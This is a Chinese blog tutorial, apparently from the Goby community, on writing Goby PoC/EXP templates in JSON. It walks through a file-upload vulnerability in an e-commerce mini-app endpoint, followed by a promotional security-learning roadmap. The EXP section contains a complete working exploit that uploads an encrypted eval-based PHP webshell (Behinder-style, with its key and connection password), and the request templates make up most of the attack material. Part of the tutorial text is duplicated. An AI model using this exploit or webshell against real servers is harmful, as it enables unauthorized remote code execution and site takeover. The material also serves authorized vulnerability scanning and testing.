Json 编写 PoC&EXP 遇到的那些坑

前言

这几天师傅们都在提交 Goby 的
EXP,赶鸭子上架,一边研究一边写,也写出来几个,编写过程中遇到了很多问题,都记录了下来。这篇文章主要讲一些遇到过的坑及调试的问题,再通过一个文件上传类
PoC/EXP 来详细讲解。因为我也是刚刚学习编写,如果文章中的说法有什么问题请师傅们及时指出。我使用的版本是 goby-
win-x64-1.8.275,PoC 使用 json 编写。

0×01 一些调试遇到的问题

1.1 通过 Burp 代理获取 Goby 流量进行调试

在扫描设置中设置 Burp
的代理

在设置完代理后最好重启一下,之后点击新建扫描->开始

Burp中就可以抓到包了。

注意:设置代理后有个小问题,就是开始扫描后抓不到POC验证的流量,主要是因为开启扫描后 Goby
先进行端口、协议和资产的识别,再进行漏洞探测。所以这里扫描的话建议设置Burp 为 Intercept is off ,因为本身我们需要抓取的是 PoC
的流量,这里扫描的流量就看个人需求了。
(这里测试的只是Burp的代理,我用的版本是1.6的,至于其他的代理或者Burp版本还未测试)

扫描结果如下图所示:

这时候要看 PoC 的流量在修改 PoC 中有一个单 ip 扫描,这里可以抓到 PoC 的流量

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qiop7GDg-1691635585309)(https://image.3001.net/images/20210804/1628077501_610a7dbdc1eee0161a64f.png!small)]

可以看到已经拦截到流量了

注意:这里也有个小问题,就是如果在 PoC 管理中测试,必须先新建立扫描任务扫完后再去 PoC 管理中测试,Burp 才可以抓到包。

还有个小技巧,通常修改完 PoC 后需要重启一下 Goby,如果想要快速调试PoC包并观察流量,修改完后可以点击返回到 PoC
管理页面再点击进来.[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a7aywrJ5-1691635585314)(https://image.3001.net/images/20210805/1628133157_610b57253c0a6ab2768ae.png!small)]

可以看到流量中明显变化了。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yQENvvt2-1691635585317)(https://image.3001.net/images/20210805/1628134090_610b5aca1853a985d9138.png!small)]

1.2
识别规则并调用 PoC

经过测试发现 Goby 的 PoC 调用规则是先通过 PoC 写的查询规则去查询,如果查询到才会调用 PoC 进行扫描,否则就算你勾选了 PoC
也不会进行调用。具体得查询规则可以查看 Goby
查询语法

这里就可以发现有时候通过 PoC 管理手动测试的漏洞可以验证成功,而通过扫描的地址无法检测到存在漏洞。

注意:有时候一些 CMS 需要自己定义一些规则,比如 body=“this is test” ||
title="管理登录"之类的,有时候会发现直接扫描域名无法匹配到其规则,如果扫描IP则会匹配到。

0×02 编写文件上传类PoC及EXP

接下来通过一个文件上传类的 PoC/EXP 来讲解一下编写过程中遇到的问题。文件上传的 PoC 规则是需要上传一个输出特定信息并且自删除的脚本。如:

<?php echo md5(233);unlink(__FILE__);?>

这样的话我们需要在 PoC 处发送两次请求,第一次进行上传文件操作,第二次对上传的文件进行访问并验证,在访问之后这个文件会自动删除。

下面贴出请求代码,讲解我通过代码块写出。

"ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "POST",
        "uri": "/wxapp.php?controller=Goods.doPageUpload",
        "follow_redirect": false,
        //header头的设置,这里最好还是通过Burp抓包把请求头写入防止请求出错
        "header": {
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
          "Accept-Encoding": "gzip, deflate, br",
          "Connection": "keep-alive",
          "Upgrade-Insecure-Requests": "1",
          "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs"
        },
        "data_type": "text",
        //post数据可以从Burp中直接复制,通过Goby的图形化界面直接复制进去,这里会自动生成
        "data": "\n------WebKitFormBoundary8UaANmWAgM4BqBSs\nContent-Disposition: form-data; name=\"upfile\"; filename=\"test.php\"\nContent-Type: image/gif\n\n<?php echo md5(233);unlink(__FILE__);?>\n\n------WebKitFormBoundary8UaANmWAgM4BqBSs--"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "image_o",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        //这里需要设置两个变量,通过正则匹配返回,为上传文件的路径
        "urlDir|lastbody|regex|image_o\":\".*goods\\\\/(.*?)\\\\/.*\"",
        "urlDir2|lastbody|regex|image_o\":\".*goods\\\\/.*\\\\/(.*?)\""
      ]
    },
    {
      "Request": {
        "method": "GET",
        //这里调用上面的两个变量去发送GET请求
        "uri": "/Uploads/image/goods/{{{urlDir}}}/{{{urlDir2}}}",
        "follow_redirect": false,
        "header": {
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
          "Accept-Encoding": "gzip, deflate, br",
          "Connection": "keep-alive",
          "Upgrade-Insecure-Requests": "1"
        },
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "e165421110ba03099a1c0393373c5b43",//判断页面是否有该md5值
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],

这里需要说一下下面的两句正则

"urlDir|lastbody|regex|image_o\":\".*goods\\\\/(.*?)\\\\/.*\"",
"urlDir2|lastbody|regex|image_o\":\".*goods\\\\/.*\\\\/(.*?)\""

因为输出的文件地址是 //Uploads/image/goods/2021-05-27/0206254881620132.php 这样子的

如果写成这样

直接调用发送 GET 请求为 %5C/image%5C/goods%5C/2021-05-27%5C/0206254881620132.php

这种请求会返回404

所以必须将
\ 去掉,已知文件的路径除了最后的上传日期和文件名在变化,其他不变,所以前面路径可以写死,通过正则取到日期和文件名进行组合请求。

注意:如果使用 json 编写,\ 这里必须通过两个 \ 匹配,否则匹配不到

“urlDir|lastbody|regex|image_o”:“.goods\/(.?)\/.*”" 取出日期,结果为 2021-05-27

“urlDir2|lastbody|regex|image_o”:“.goods\/.\/(.*?)”" 取出文件名 结果为
0206254881620132.php

然后通过 “uri”: “/Uploads/image/goods/{{{urlDir}}}/{{{urlDir2}}}”
请求则返回成功

PoC 部分写完,接下来看 EXP 部分就比较简单了,

"ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "POST",
        "uri": "/wxapp.php?controller=Goods.doPageUpload",
        "follow_redirect": false,
        "header": {
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
          "Accept-Encoding": "gzip, deflate, br",
          "Connection": "keep-alive",
          "Upgrade-Insecure-Requests": "1",
          "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs"
        },
        "data_type": "text",
        "data": "\n------WebKitFormBoundary8UaANmWAgM4BqBSs\nContent-Disposition: form-data; name=\"upfile\"; filename=\"shell.php\"\nContent-Type: image/gif\n\n<?php\n@error_reporting(0);session_start();$key=\"e45e329feb5d925b\";$_SESSION['k']=$key;$post=file_get_contents(\"php://input\");if(!extension_loaded('openssl')){$t=\"base64_\".\"decode\";$post=$t($post.\"\");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15];}}else{$post=openssl_decrypt($post, \"AES128\", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p.\"\");}}@call_user_func(new C(),$params);\n?>\n\n------WebKitFormBoundary8UaANmWAgM4BqBSs--"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "image_o",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody|regex|image_o\":\"(.*?)\""
      ]
    }
  ],

直接上传 shell,这里的 data 数据还是通过 Burp 直接复制即可,通过 Goby 的图形化界面复制进去会自动生成换行符之类的,Exploit
部分可以先将数据通过 PoC 部分的图形化界面生成再复制进下面 Exploit 的 json 中。

图片下方为测试截图

这里因为需要输出
shell 地址和连接方式,并且要去掉 \,这样的话就需要变量或者字符串拼接… 一直没测试成功,就通过 expParams 设置了一下显示信息…

"ExpParams": [
    {
      "name": "webshellinfo",
      "type": "textarea",
      "value": "Using Behinder_v3.0 connection, password is rebeyond",
      "show": ""
    }
  ],

但是这样是不合规的 - -,因为 ExpParams 不是当做输出信息来用的,而是为了给 EXP 传参用的。最后问了 Goby 的师傅说目前使用 json
编写要想在 output 处实现这样的需求是不行的,想要实现的话只能使用 go 来编写了。

0×03 总结

-.- 编写过程中还是遇到了很多问题,大部分算是解决了,当然一些需求还是需要用 go 写,希望能帮助还不会 go 语言的小伙伴们通过 json 去编写 PoC/EXP。最后感谢师傅们的指导~~~

文章来自Goby社区成员:HuaiNian,转载请注明出处。

Params 不是当做输出信息来用的,而是为了给 EXP 传参用的。最后问了 Goby 的师傅说目前使用 json
编写要想在 output 处实现这样的需求是不行的,想要实现的话只能使用 go 来编写了。

0×03 总结

-.- 编写过程中还是遇到了很多问题,大部分算是解决了,当然一些需求还是需要用 go 写,希望能帮助还不会 go 语言的小伙伴们通过 json 去编写 PoC/EXP。最后感谢师傅们的指导~~~

文章来自Goby社区成员:HuaiNian,转载请注明出处。

学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值